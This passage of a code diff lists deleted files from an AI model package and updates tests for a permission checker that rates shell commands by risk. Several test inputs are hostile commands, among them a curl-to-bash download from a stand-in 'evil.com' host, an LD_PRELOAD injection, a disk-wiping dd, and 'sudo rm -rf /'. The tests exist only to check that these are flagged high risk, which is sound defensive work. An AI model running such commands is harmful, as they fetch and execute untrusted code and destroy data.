- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-check-availability.ts +0 -53
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-create-event.ts +0 -74
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-get-event.ts +0 -18
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-list-events.ts +0 -46
- package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-rsvp.ts +0 -36
- package/src/config/bundled-skills/outlook-calendar/tools/shared.ts +0 -17
- package/src/config/bundled-skills/outlook-calendar/types.ts +0 -120
- package/src/config/bundled-skills/slack/SKILL.md +0 -107
- package/src/config/bundled-skills/tasks/SKILL.md +0 -37
- package/src/config/bundled-skills/tasks/TOOLS.json +0 -353
- package/src/config/bundled-skills/tasks/icon.svg +0 -34
- package/src/config/bundled-skills/tasks/tools/task-delete.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-add.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-remove.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-show.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list-update.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-list.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-queue-run.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-run.ts +0 -12
- package/src/config/bundled-skills/tasks/tools/task-save.ts +0 -12
- package/src/config/bundled-skills/watcher/SKILL.md +0 -31
- package/src/config/bundled-skills/watcher/TOOLS.json +0 -167
- package/src/config/bundled-skills/watcher/tools/watcher-create.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-delete.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-digest.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-list.ts +0 -12
- package/src/config/bundled-skills/watcher/tools/watcher-update.ts +0 -12
- package/src/email/guardrails.ts +0 -221
- package/src/email/provider.ts +0 -117
- package/src/email/providers/agentmail.ts +0 -361
- package/src/email/providers/index.ts +0 -65
- package/src/email/service.ts +0 -384
- package/src/email/types.ts +0 -126
- package/src/prompts/templates/UPDATES.md +0 -38
- package/src/prompts/templates/USER.md +0 -13
- package/src/prompts/update-bulletin-format.ts +0 -68
- package/src/prompts/update-bulletin-state.ts +0 -58
- package/src/prompts/update-bulletin-template-path.ts +0 -13
- package/src/prompts/update-bulletin.ts +0 -128
- package/src/providers/speech-to-text/types.ts +0 -17
- package/src/runtime/routes/browser-cdp-routes.ts +0 -229
- package/src/shared/provider-env-vars.ts +0 -19
- package/src/tools/watcher/create.ts +0 -86
- package/src/tools/watcher/delete.ts +0 -36
- package/src/tools/watcher/digest.ts +0 -54
- package/src/tools/watcher/list.ts +0 -83
- package/src/tools/watcher/update.ts +0 -71
|
@@ -2,6 +2,7 @@
|
|
|
2
2
|
// bun test src/__tests__/checker.test.ts src/__tests__/trust-store.test.ts src/__tests__/conversation-skill-tools.test.ts src/__tests__/skill-script-runner-host.test.ts
|
|
3
3
|
|
|
4
4
|
import {
|
|
5
|
+
existsSync,
|
|
5
6
|
mkdirSync,
|
|
6
7
|
mkdtempSync,
|
|
7
8
|
realpathSync,
|
|
@@ -12,12 +13,14 @@ import {
|
|
|
12
13
|
import { homedir, tmpdir } from "node:os";
|
|
13
14
|
import { join, resolve } from "node:path";
|
|
14
15
|
import {
|
|
16
|
+
afterAll,
|
|
15
17
|
afterEach,
|
|
16
18
|
beforeAll,
|
|
17
19
|
beforeEach,
|
|
18
20
|
describe,
|
|
19
21
|
expect,
|
|
20
22
|
mock,
|
|
23
|
+
spyOn,
|
|
21
24
|
test,
|
|
22
25
|
} from "bun:test";
|
|
23
26
|
|
|
@@ -67,6 +70,26 @@ mock.module("../config/loader.js", () => ({
|
|
|
67
70
|
setNestedValue: () => {},
|
|
68
71
|
}));
|
|
69
72
|
|
|
73
|
+
// Mutable guardian persona path so tests can toggle whether
|
|
74
|
+
// getDefaultRuleTemplates emits the dynamic guardian-persona allow rules.
|
|
75
|
+
// Defaults to null so existing tests see no extra rules, matching the
|
|
76
|
+
// behaviour on a fresh install without a resolved guardian.
|
|
77
|
+
let mockGuardianPersonaPath: string | null = null;
|
|
78
|
+
|
|
79
|
+
// Spy on the namespace import rather than using `mock.module`. Bun's
|
|
80
|
+
// `mock.module` is a persistent process-wide override that would clobber
|
|
81
|
+
// every other export (e.g. `ensureGuardianPersonaFile`,
|
|
82
|
+
// `isGuardianPersonaCustomized`) and break unrelated test files
|
|
83
|
+
// (persona-resolver.test.ts) when run in the same bun test invocation.
|
|
84
|
+
// `spyOn` with `mockRestore()` in afterAll restores the original
|
|
85
|
+
// implementation so other test files see the real exports.
|
|
86
|
+
import * as personaResolver from "../prompts/persona-resolver.js";
|
|
87
|
+
const guardianPathSpy = spyOn(
|
|
88
|
+
personaResolver,
|
|
89
|
+
"resolveGuardianPersonaPath",
|
|
90
|
+
).mockImplementation(() => mockGuardianPersonaPath);
|
|
91
|
+
|
|
92
|
+
import * as envRegistry from "../config/env-registry.js";
|
|
70
93
|
import {
|
|
71
94
|
check,
|
|
72
95
|
classifyRisk,
|
|
@@ -75,6 +98,7 @@ import {
|
|
|
75
98
|
SCOPE_AWARE_TOOLS,
|
|
76
99
|
} from "../permissions/checker.js";
|
|
77
100
|
import { getDefaultRuleTemplates } from "../permissions/defaults.js";
|
|
101
|
+
import * as trustStoreModule from "../permissions/trust-store.js";
|
|
78
102
|
import {
|
|
79
103
|
addRule,
|
|
80
104
|
clearCache,
|
|
@@ -82,7 +106,7 @@ import {
|
|
|
82
106
|
} from "../permissions/trust-store.js";
|
|
83
107
|
import type { TrustRule } from "../permissions/types.js";
|
|
84
108
|
import { RiskLevel } from "../permissions/types.js";
|
|
85
|
-
import {
|
|
109
|
+
import { registerTool } from "../tools/registry.js";
|
|
86
110
|
import type { Tool } from "../tools/types.js";
|
|
87
111
|
|
|
88
112
|
// Register a mock skill-origin tool for testing default-ask policy.
|
|
@@ -140,6 +164,13 @@ function writeSkill(
|
|
|
140
164
|
);
|
|
141
165
|
}
|
|
142
166
|
|
|
167
|
+
// Restore the guardian persona spy at the end of this file's run so
|
|
168
|
+
// subsequent test files (e.g. persona-resolver.test.ts) see the real
|
|
169
|
+
// implementation when they import from the module namespace.
|
|
170
|
+
afterAll(() => {
|
|
171
|
+
guardianPathSpy.mockRestore();
|
|
172
|
+
});
|
|
173
|
+
|
|
143
174
|
describe("Permission Checker", () => {
|
|
144
175
|
beforeAll(async () => {
|
|
145
176
|
// Warm up the shell parser (loads WASM)
|
|
@@ -152,6 +183,8 @@ describe("Permission Checker", () => {
|
|
|
152
183
|
// Reset permissions mode to workspace (default) so existing tests are not affected
|
|
153
184
|
testConfig.permissions = { mode: "workspace" };
|
|
154
185
|
testConfig.skills = { load: { extraDirs: [] } };
|
|
186
|
+
// Reset guardian persona mock so each test opts in explicitly
|
|
187
|
+
mockGuardianPersonaPath = null;
|
|
155
188
|
loggerWarnCalls.length = 0;
|
|
156
189
|
try {
|
|
157
190
|
rmSync(join(checkerTestDir, "protected", "trust.json"));
|
|
@@ -172,12 +205,12 @@ describe("Permission Checker", () => {
|
|
|
172
205
|
describe("file_read", () => {
|
|
173
206
|
test("file_read is low risk for regular files", async () => {
|
|
174
207
|
const risk = await classifyRisk("file_read", { path: "/etc/passwd" });
|
|
175
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
208
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
176
209
|
});
|
|
177
210
|
|
|
178
211
|
test("file_read with arbitrary non-key path is low risk", async () => {
|
|
179
212
|
const risk = await classifyRisk("file_read", { path: "/tmp/safe.txt" });
|
|
180
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
213
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
181
214
|
});
|
|
182
215
|
|
|
183
216
|
test("file_read of workspace signing key path is high risk", async () => {
|
|
@@ -187,7 +220,7 @@ describe("Permission Checker", () => {
|
|
|
187
220
|
{ path: "deprecated/actor-token-signing-key" },
|
|
188
221
|
workspaceDir,
|
|
189
222
|
);
|
|
190
|
-
expect(risk).toBe(RiskLevel.High);
|
|
223
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
191
224
|
});
|
|
192
225
|
|
|
193
226
|
test("file_read of legacy protected signing key path is high risk", async () => {
|
|
@@ -199,7 +232,26 @@ describe("Permission Checker", () => {
|
|
|
199
232
|
"actor-token-signing-key",
|
|
200
233
|
),
|
|
201
234
|
});
|
|
202
|
-
expect(risk).toBe(RiskLevel.High);
|
|
235
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
236
|
+
});
|
|
237
|
+
|
|
238
|
+
test("file_read of legacy signing key is high risk even when BASE_DATA_DIR relocates getProtectedDir()", async () => {
|
|
239
|
+
const savedBaseDataDir = process.env.BASE_DATA_DIR;
|
|
240
|
+
process.env.BASE_DATA_DIR = "/tmp/fake-instance-signing-key-test";
|
|
241
|
+
try {
|
|
242
|
+
const risk = await classifyRisk("file_read", {
|
|
243
|
+
path: join(
|
|
244
|
+
homedir(),
|
|
245
|
+
".vellum",
|
|
246
|
+
"protected",
|
|
247
|
+
"actor-token-signing-key",
|
|
248
|
+
),
|
|
249
|
+
});
|
|
250
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
251
|
+
} finally {
|
|
252
|
+
if (savedBaseDataDir === undefined) delete process.env.BASE_DATA_DIR;
|
|
253
|
+
else process.env.BASE_DATA_DIR = savedBaseDataDir;
|
|
254
|
+
}
|
|
203
255
|
});
|
|
204
256
|
});
|
|
205
257
|
|
|
@@ -209,12 +261,12 @@ describe("Permission Checker", () => {
|
|
|
209
261
|
const risk = await classifyRisk("file_write", {
|
|
210
262
|
path: "/tmp/file.txt",
|
|
211
263
|
});
|
|
212
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
264
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
213
265
|
});
|
|
214
266
|
|
|
215
267
|
test("file_write with any path is low risk", async () => {
|
|
216
268
|
const risk = await classifyRisk("file_write", { path: "/etc/passwd" });
|
|
217
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
269
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
218
270
|
});
|
|
219
271
|
});
|
|
220
272
|
|
|
@@ -223,7 +275,7 @@ describe("Permission Checker", () => {
|
|
|
223
275
|
const risk = await classifyRisk("skill_load", {
|
|
224
276
|
skill: "release-checklist",
|
|
225
277
|
});
|
|
226
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
278
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
227
279
|
});
|
|
228
280
|
});
|
|
229
281
|
|
|
@@ -232,7 +284,7 @@ describe("Permission Checker", () => {
|
|
|
232
284
|
const risk = await classifyRisk("web_fetch", {
|
|
233
285
|
url: "https://example.com",
|
|
234
286
|
});
|
|
235
|
-
expect(risk).toBe(RiskLevel.Low);
|
|
287
|
+
expect(risk.level).toBe(RiskLevel.Low);
|
|
236
288
|
});
|
|
237
289
|
|
|
238
290
|
test("web_fetch with allow_private_network is high risk", async () => {
|
|
@@ -240,7 +292,7 @@ describe("Permission Checker", () => {
|
|
|
240
292
|
url: "http://localhost:3000",
|
|
241
293
|
allow_private_network: true,
|
|
242
294
|
});
|
|
243
|
-
expect(risk).toBe(RiskLevel.High);
|
|
295
|
+
expect(risk.level).toBe(RiskLevel.High);
|
|
244
296
|
});
|
|
245
297
|
});
|
|
246
298
|
|
|
@@ -249,114 +301,129 @@ describe("Permission Checker", () => {
|
|
|
249
301
|
const risk = await classifyRisk("network_request", {
|
|
250
302
|
url: "https://api.example.com/v1/data",
|
|
251
303
|
});
|
|
252
|
-
expect(risk).toBe(RiskLevel.Medium);
|
|
304
|
+
expect(risk.level).toBe(RiskLevel.Medium);
|
|
253
305
|
});
|
|
254
306
|
|
|
255
307
|
test("network_request is medium risk even without url", async () => {
|
|
256
308
|
const risk = await classifyRisk("network_request", {});
|
|
257
|
-
expect(risk).toBe(RiskLevel.Medium);
|
|
309
|
+
expect(risk.level).toBe(RiskLevel.Medium);
|
|
258
310
|
});
|
|
259
311
|
});
|
|
260
312
|
|
|
261
313
|
// shell commands - low risk
|
|
262
314
|
describe("shell — low risk", () => {
|
|
263
315
|
test("ls is low risk", async () => {
|
|
264
|
-
expect(await classifyRisk("bash", { command: "ls" })).toBe(
|
|
316
|
+
expect((await classifyRisk("bash", { command: "ls" })).level).toBe(
|
|
265
317
|
RiskLevel.Low,
|
|
266
318
|
);
|
|
267
319
|
});
|
|
268
320
|
|
|
269
321
|
test("cat is low risk", async () => {
|
|
270
|
-
expect(
|
|
271
|
-
|
|
272
|
-
);
|
|
322
|
+
expect(
|
|
323
|
+
(await classifyRisk("bash", { command: "cat file.txt" })).level,
|
|
324
|
+
).toBe(RiskLevel.Low);
|
|
273
325
|
});
|
|
274
326
|
|
|
275
327
|
test("grep is low risk", async () => {
|
|
276
328
|
expect(
|
|
277
|
-
await classifyRisk("bash", { command: "grep pattern file" }),
|
|
329
|
+
(await classifyRisk("bash", { command: "grep pattern file" })).level,
|
|
278
330
|
).toBe(RiskLevel.Low);
|
|
279
331
|
});
|
|
280
332
|
|
|
281
333
|
test("git status is low risk", async () => {
|
|
282
|
-
expect(
|
|
283
|
-
|
|
284
|
-
);
|
|
334
|
+
expect(
|
|
335
|
+
(await classifyRisk("bash", { command: "git status" })).level,
|
|
336
|
+
).toBe(RiskLevel.Low);
|
|
285
337
|
});
|
|
286
338
|
|
|
287
339
|
test("git log is low risk", async () => {
|
|
288
340
|
expect(
|
|
289
|
-
await classifyRisk("bash", { command: "git log --oneline" }),
|
|
341
|
+
(await classifyRisk("bash", { command: "git log --oneline" })).level,
|
|
290
342
|
).toBe(RiskLevel.Low);
|
|
291
343
|
});
|
|
292
344
|
|
|
293
345
|
test("git diff is low risk", async () => {
|
|
294
|
-
expect(
|
|
295
|
-
|
|
296
|
-
);
|
|
346
|
+
expect(
|
|
347
|
+
(await classifyRisk("bash", { command: "git diff" })).level,
|
|
348
|
+
).toBe(RiskLevel.Low);
|
|
297
349
|
});
|
|
298
350
|
|
|
299
351
|
test("git --no-pager log is low risk (boolean global flag before subcommand)", async () => {
|
|
300
352
|
expect(
|
|
301
|
-
await classifyRisk("bash", { command: "git --no-pager log" }),
|
|
353
|
+
(await classifyRisk("bash", { command: "git --no-pager log" })).level,
|
|
302
354
|
).toBe(RiskLevel.Low);
|
|
303
355
|
});
|
|
304
356
|
|
|
305
357
|
test("git -C /some/path status is low risk (value-taking flag before subcommand)", async () => {
|
|
306
358
|
expect(
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
359
|
+
(
|
|
360
|
+
await classifyRisk("bash", {
|
|
361
|
+
command: "git -C /some/path status",
|
|
362
|
+
})
|
|
363
|
+
).level,
|
|
310
364
|
).toBe(RiskLevel.Low);
|
|
311
365
|
});
|
|
312
366
|
|
|
313
367
|
test("git -c core.editor=vim diff is low risk (value-taking -c flag before subcommand)", async () => {
|
|
314
368
|
expect(
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
369
|
+
(
|
|
370
|
+
await classifyRisk("bash", {
|
|
371
|
+
command: "git -c core.editor=vim diff",
|
|
372
|
+
})
|
|
373
|
+
).level,
|
|
318
374
|
).toBe(RiskLevel.Low);
|
|
319
375
|
});
|
|
320
376
|
|
|
321
377
|
test("echo is low risk", async () => {
|
|
322
|
-
expect(
|
|
323
|
-
|
|
324
|
-
);
|
|
378
|
+
expect(
|
|
379
|
+
(await classifyRisk("bash", { command: "echo hello" })).level,
|
|
380
|
+
).toBe(RiskLevel.Low);
|
|
325
381
|
});
|
|
326
382
|
|
|
327
383
|
test("pwd is low risk", async () => {
|
|
328
|
-
expect(await classifyRisk("bash", { command: "pwd" })).toBe(
|
|
384
|
+
expect((await classifyRisk("bash", { command: "pwd" })).level).toBe(
|
|
329
385
|
RiskLevel.Low,
|
|
330
386
|
);
|
|
331
387
|
});
|
|
332
388
|
|
|
333
389
|
test("node is low risk", async () => {
|
|
334
|
-
expect(
|
|
335
|
-
|
|
336
|
-
);
|
|
390
|
+
expect(
|
|
391
|
+
(await classifyRisk("bash", { command: "node --version" })).level,
|
|
392
|
+
).toBe(RiskLevel.Low);
|
|
337
393
|
});
|
|
338
394
|
|
|
339
|
-
test("bun is
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
395
|
+
test("bun --version is medium risk (bun base risk)", async () => {
|
|
396
|
+
// bun is medium base risk in the registry since it can execute code
|
|
397
|
+
expect(
|
|
398
|
+
(await classifyRisk("bash", { command: "bun --version" })).level,
|
|
399
|
+
).toBe(RiskLevel.Medium);
|
|
400
|
+
});
|
|
401
|
+
|
|
402
|
+
test("bun test is high risk (executes arbitrary scripts)", async () => {
|
|
403
|
+
expect(
|
|
404
|
+
(await classifyRisk("bash", { command: "bun test" })).level,
|
|
405
|
+
).toBe(RiskLevel.High);
|
|
343
406
|
});
|
|
344
407
|
|
|
345
408
|
test("empty command is low risk", async () => {
|
|
346
|
-
expect(await classifyRisk("bash", { command: "" })).toBe(
|
|
409
|
+
expect((await classifyRisk("bash", { command: "" })).level).toBe(
|
|
410
|
+
RiskLevel.Low,
|
|
411
|
+
);
|
|
347
412
|
});
|
|
348
413
|
|
|
349
414
|
test("whitespace command is low risk", async () => {
|
|
350
|
-
expect(await classifyRisk("bash", { command: " " })).toBe(
|
|
415
|
+
expect((await classifyRisk("bash", { command: " " })).level).toBe(
|
|
351
416
|
RiskLevel.Low,
|
|
352
417
|
);
|
|
353
418
|
});
|
|
354
419
|
|
|
355
420
|
test("safe pipe is low risk", async () => {
|
|
356
421
|
expect(
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
422
|
+
(
|
|
423
|
+
await classifyRisk("bash", {
|
|
424
|
+
command: "cat file | grep pattern | wc -l",
|
|
425
|
+
})
|
|
426
|
+
).level,
|
|
360
427
|
).toBe(RiskLevel.Low);
|
|
361
428
|
});
|
|
362
429
|
});
|
|
@@ -365,88 +432,100 @@ describe("Permission Checker", () => {
|
|
|
365
432
|
describe("shell — medium risk", () => {
|
|
366
433
|
test("unknown program is medium risk", async () => {
|
|
367
434
|
expect(
|
|
368
|
-
await classifyRisk("bash", { command: "some_custom_tool" }),
|
|
435
|
+
(await classifyRisk("bash", { command: "some_custom_tool" })).level,
|
|
369
436
|
).toBe(RiskLevel.Medium);
|
|
370
437
|
});
|
|
371
438
|
|
|
372
439
|
test("rm (without -r) is high risk", async () => {
|
|
373
|
-
expect(
|
|
374
|
-
|
|
375
|
-
);
|
|
440
|
+
expect(
|
|
441
|
+
(await classifyRisk("bash", { command: "rm file.txt" })).level,
|
|
442
|
+
).toBe(RiskLevel.High);
|
|
376
443
|
});
|
|
377
444
|
|
|
378
|
-
test("chmod is
|
|
445
|
+
test("chmod is high risk (permission changes)", async () => {
|
|
379
446
|
expect(
|
|
380
|
-
await classifyRisk("bash", { command: "chmod 644 file.txt" }),
|
|
381
|
-
).toBe(RiskLevel.
|
|
447
|
+
(await classifyRisk("bash", { command: "chmod 644 file.txt" })).level,
|
|
448
|
+
).toBe(RiskLevel.High);
|
|
382
449
|
});
|
|
383
450
|
|
|
384
|
-
test("chown is
|
|
451
|
+
test("chown is high risk (ownership changes)", async () => {
|
|
385
452
|
expect(
|
|
386
|
-
await classifyRisk("bash", { command: "chown user file.txt" })
|
|
387
|
-
|
|
453
|
+
(await classifyRisk("bash", { command: "chown user file.txt" }))
|
|
454
|
+
.level,
|
|
455
|
+
).toBe(RiskLevel.High);
|
|
388
456
|
});
|
|
389
457
|
|
|
390
|
-
test("chgrp is
|
|
458
|
+
test("chgrp is high risk (group changes)", async () => {
|
|
391
459
|
expect(
|
|
392
|
-
await classifyRisk("bash", { command: "chgrp group file.txt" })
|
|
393
|
-
|
|
460
|
+
(await classifyRisk("bash", { command: "chgrp group file.txt" }))
|
|
461
|
+
.level,
|
|
462
|
+
).toBe(RiskLevel.High);
|
|
394
463
|
});
|
|
395
464
|
|
|
396
465
|
test("git push (non-read-only) is medium risk", async () => {
|
|
397
466
|
expect(
|
|
398
|
-
await classifyRisk("bash", { command: "git push origin main" })
|
|
467
|
+
(await classifyRisk("bash", { command: "git push origin main" }))
|
|
468
|
+
.level,
|
|
399
469
|
).toBe(RiskLevel.Medium);
|
|
400
470
|
});
|
|
401
471
|
|
|
402
472
|
test("git commit is medium risk", async () => {
|
|
403
473
|
expect(
|
|
404
|
-
await classifyRisk("bash", { command: 'git commit -m "msg"' })
|
|
474
|
+
(await classifyRisk("bash", { command: 'git commit -m "msg"' }))
|
|
475
|
+
.level,
|
|
405
476
|
).toBe(RiskLevel.Medium);
|
|
406
477
|
});
|
|
407
478
|
|
|
408
479
|
test("git -C status commit is medium risk (value-taking flag with dir named like a subcommand)", async () => {
|
|
409
480
|
expect(
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
481
|
+
(
|
|
482
|
+
await classifyRisk("bash", {
|
|
483
|
+
command: "git -C status commit",
|
|
484
|
+
})
|
|
485
|
+
).level,
|
|
413
486
|
).toBe(RiskLevel.Medium);
|
|
414
487
|
});
|
|
415
488
|
|
|
416
489
|
test("git -C /path push is medium risk (value-taking flag before mutating subcommand)", async () => {
|
|
417
490
|
expect(
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
491
|
+
(
|
|
492
|
+
await classifyRisk("bash", {
|
|
493
|
+
command: "git -C /path push",
|
|
494
|
+
})
|
|
495
|
+
).level,
|
|
421
496
|
).toBe(RiskLevel.Medium);
|
|
422
497
|
});
|
|
423
498
|
|
|
424
499
|
test("git --git-dir /path/to/.git push is medium risk", async () => {
|
|
425
500
|
expect(
|
|
426
|
-
|
|
427
|
-
|
|
428
|
-
|
|
501
|
+
(
|
|
502
|
+
await classifyRisk("bash", {
|
|
503
|
+
command: "git --git-dir /path/to/.git push",
|
|
504
|
+
})
|
|
505
|
+
).level,
|
|
429
506
|
).toBe(RiskLevel.Medium);
|
|
430
507
|
});
|
|
431
508
|
|
|
432
509
|
test("git --no-pager push is medium risk (boolean flag before mutating subcommand)", async () => {
|
|
433
510
|
expect(
|
|
434
|
-
|
|
435
|
-
|
|
436
|
-
|
|
511
|
+
(
|
|
512
|
+
await classifyRisk("bash", {
|
|
513
|
+
command: "git --no-pager push",
|
|
514
|
+
})
|
|
515
|
+
).level,
|
|
437
516
|
).toBe(RiskLevel.Medium);
|
|
438
517
|
});
|
|
439
518
|
|
|
440
|
-
test("opaque construct (eval) is
|
|
441
|
-
expect(
|
|
442
|
-
|
|
443
|
-
);
|
|
519
|
+
test("opaque construct (eval) is high risk (registry: executes arbitrary code)", async () => {
|
|
520
|
+
expect(
|
|
521
|
+
(await classifyRisk("bash", { command: 'eval "ls"' })).level,
|
|
522
|
+
).toBe(RiskLevel.High);
|
|
444
523
|
});
|
|
445
524
|
|
|
446
|
-
test("opaque construct (bash -c) is
|
|
525
|
+
test("opaque construct (bash -c) is high risk (registry: executes arbitrary code)", async () => {
|
|
447
526
|
expect(
|
|
448
|
-
await classifyRisk("bash", { command: 'bash -c "echo hi"' }),
|
|
449
|
-
).toBe(RiskLevel.
|
|
527
|
+
(await classifyRisk("bash", { command: 'bash -c "echo hi"' })).level,
|
|
528
|
+
).toBe(RiskLevel.High);
|
|
450
529
|
});
|
|
451
530
|
});
|
|
452
531
|
|
|
@@ -454,183 +533,198 @@ describe("Permission Checker", () => {
|
|
|
454
533
|
describe("shell — high risk", () => {
|
|
455
534
|
test("assistant trust clear is high risk", async () => {
|
|
456
535
|
expect(
|
|
457
|
-
await classifyRisk("bash", { command: "assistant trust clear" })
|
|
536
|
+
(await classifyRisk("bash", { command: "assistant trust clear" }))
|
|
537
|
+
.level,
|
|
458
538
|
).toBe(RiskLevel.High);
|
|
459
539
|
});
|
|
460
540
|
|
|
461
541
|
test("sudo is high risk", async () => {
|
|
462
|
-
expect(
|
|
463
|
-
|
|
464
|
-
);
|
|
542
|
+
expect(
|
|
543
|
+
(await classifyRisk("bash", { command: "sudo rm -rf /" })).level,
|
|
544
|
+
).toBe(RiskLevel.High);
|
|
465
545
|
});
|
|
466
546
|
|
|
467
547
|
test("rm -rf is high risk", async () => {
|
|
468
548
|
expect(
|
|
469
|
-
await classifyRisk("bash", { command: "rm -rf /tmp/stuff" }),
|
|
549
|
+
(await classifyRisk("bash", { command: "rm -rf /tmp/stuff" })).level,
|
|
470
550
|
).toBe(RiskLevel.High);
|
|
471
551
|
});
|
|
472
552
|
|
|
473
553
|
test("rm -r is high risk", async () => {
|
|
474
|
-
expect(
|
|
475
|
-
|
|
476
|
-
);
|
|
554
|
+
expect(
|
|
555
|
+
(await classifyRisk("bash", { command: "rm -r directory" })).level,
|
|
556
|
+
).toBe(RiskLevel.High);
|
|
477
557
|
});
|
|
478
558
|
|
|
479
559
|
test("rm / is high risk", async () => {
|
|
480
|
-
expect(await classifyRisk("bash", { command: "rm /" })).toBe(
|
|
560
|
+
expect((await classifyRisk("bash", { command: "rm /" })).level).toBe(
|
|
481
561
|
RiskLevel.High,
|
|
482
562
|
);
|
|
483
563
|
});
|
|
484
564
|
|
|
485
565
|
test("kill is high risk", async () => {
|
|
486
|
-
expect(
|
|
487
|
-
|
|
488
|
-
);
|
|
566
|
+
expect(
|
|
567
|
+
(await classifyRisk("bash", { command: "kill -9 1234" })).level,
|
|
568
|
+
).toBe(RiskLevel.High);
|
|
489
569
|
});
|
|
490
570
|
|
|
491
571
|
test("pkill is high risk", async () => {
|
|
492
|
-
expect(
|
|
493
|
-
|
|
494
|
-
);
|
|
572
|
+
expect(
|
|
573
|
+
(await classifyRisk("bash", { command: "pkill node" })).level,
|
|
574
|
+
).toBe(RiskLevel.High);
|
|
495
575
|
});
|
|
496
576
|
|
|
497
577
|
test("reboot is high risk", async () => {
|
|
498
|
-
expect(await classifyRisk("bash", { command: "reboot" })).toBe(
|
|
578
|
+
expect((await classifyRisk("bash", { command: "reboot" })).level).toBe(
|
|
499
579
|
RiskLevel.High,
|
|
500
580
|
);
|
|
501
581
|
});
|
|
502
582
|
|
|
503
583
|
test("shutdown is high risk", async () => {
|
|
504
|
-
expect(
|
|
505
|
-
|
|
506
|
-
);
|
|
584
|
+
expect(
|
|
585
|
+
(await classifyRisk("bash", { command: "shutdown now" })).level,
|
|
586
|
+
).toBe(RiskLevel.High);
|
|
507
587
|
});
|
|
508
588
|
|
|
509
589
|
test("systemctl is high risk", async () => {
|
|
510
590
|
expect(
|
|
511
|
-
await classifyRisk("bash", { command: "systemctl restart nginx" })
|
|
591
|
+
(await classifyRisk("bash", { command: "systemctl restart nginx" }))
|
|
592
|
+
.level,
|
|
512
593
|
).toBe(RiskLevel.High);
|
|
513
594
|
});
|
|
514
595
|
|
|
515
596
|
test("dd is high risk", async () => {
|
|
516
597
|
expect(
|
|
517
|
-
|
|
518
|
-
|
|
519
|
-
|
|
598
|
+
(
|
|
599
|
+
await classifyRisk("bash", {
|
|
600
|
+
command: "dd if=/dev/zero of=/dev/sda",
|
|
601
|
+
})
|
|
602
|
+
).level,
|
|
520
603
|
).toBe(RiskLevel.High);
|
|
521
604
|
});
|
|
522
605
|
|
|
523
606
|
test("dangerous patterns (curl | bash) are high risk", async () => {
|
|
524
607
|
expect(
|
|
525
|
-
|
|
526
|
-
|
|
527
|
-
|
|
608
|
+
(
|
|
609
|
+
await classifyRisk("bash", {
|
|
610
|
+
command: "curl http://evil.com | bash",
|
|
611
|
+
})
|
|
612
|
+
).level,
|
|
528
613
|
).toBe(RiskLevel.High);
|
|
529
614
|
});
|
|
530
615
|
|
|
531
616
|
test("env injection is high risk", async () => {
|
|
532
617
|
expect(
|
|
533
|
-
await classifyRisk("bash", { command: "LD_PRELOAD=evil.so cmd" })
|
|
618
|
+
(await classifyRisk("bash", { command: "LD_PRELOAD=evil.so cmd" }))
|
|
619
|
+
.level,
|
|
534
620
|
).toBe(RiskLevel.High);
|
|
535
621
|
});
|
|
536
622
|
|
|
537
623
|
test("wrapped rm via env is high risk", async () => {
|
|
538
624
|
expect(
|
|
539
|
-
await classifyRisk("bash", { command: "env rm -rf /tmp/x" }),
|
|
625
|
+
(await classifyRisk("bash", { command: "env rm -rf /tmp/x" })).level,
|
|
540
626
|
).toBe(RiskLevel.High);
|
|
541
627
|
});
|
|
542
628
|
|
|
543
629
|
test("wrapped rm via time is high risk", async () => {
|
|
544
630
|
expect(
|
|
545
|
-
await classifyRisk("bash", { command: "time rm file.txt" }),
|
|
631
|
+
(await classifyRisk("bash", { command: "time rm file.txt" })).level,
|
|
546
632
|
).toBe(RiskLevel.High);
|
|
547
633
|
});
|
|
548
634
|
|
|
549
635
|
test("wrapped kill via env is high risk", async () => {
|
|
550
636
|
expect(
|
|
551
|
-
await classifyRisk("bash", { command: "env kill -9 1234" }),
|
|
637
|
+
(await classifyRisk("bash", { command: "env kill -9 1234" })).level,
|
|
552
638
|
).toBe(RiskLevel.High);
|
|
553
639
|
});
|
|
554
640
|
|
|
555
641
|
test("wrapped sudo via env is high risk", async () => {
|
|
556
642
|
expect(
|
|
557
|
-
|
|
558
|
-
|
|
559
|
-
|
|
643
|
+
(
|
|
644
|
+
await classifyRisk("bash", {
|
|
645
|
+
command: "env sudo apt-get install foo",
|
|
646
|
+
})
|
|
647
|
+
).level,
|
|
560
648
|
).toBe(RiskLevel.High);
|
|
561
649
|
});
|
|
562
650
|
|
|
563
651
|
test("wrapped reboot via nice is high risk", async () => {
|
|
564
|
-
expect(
|
|
565
|
-
|
|
566
|
-
);
|
|
652
|
+
expect(
|
|
653
|
+
(await classifyRisk("bash", { command: "nice reboot" })).level,
|
|
654
|
+
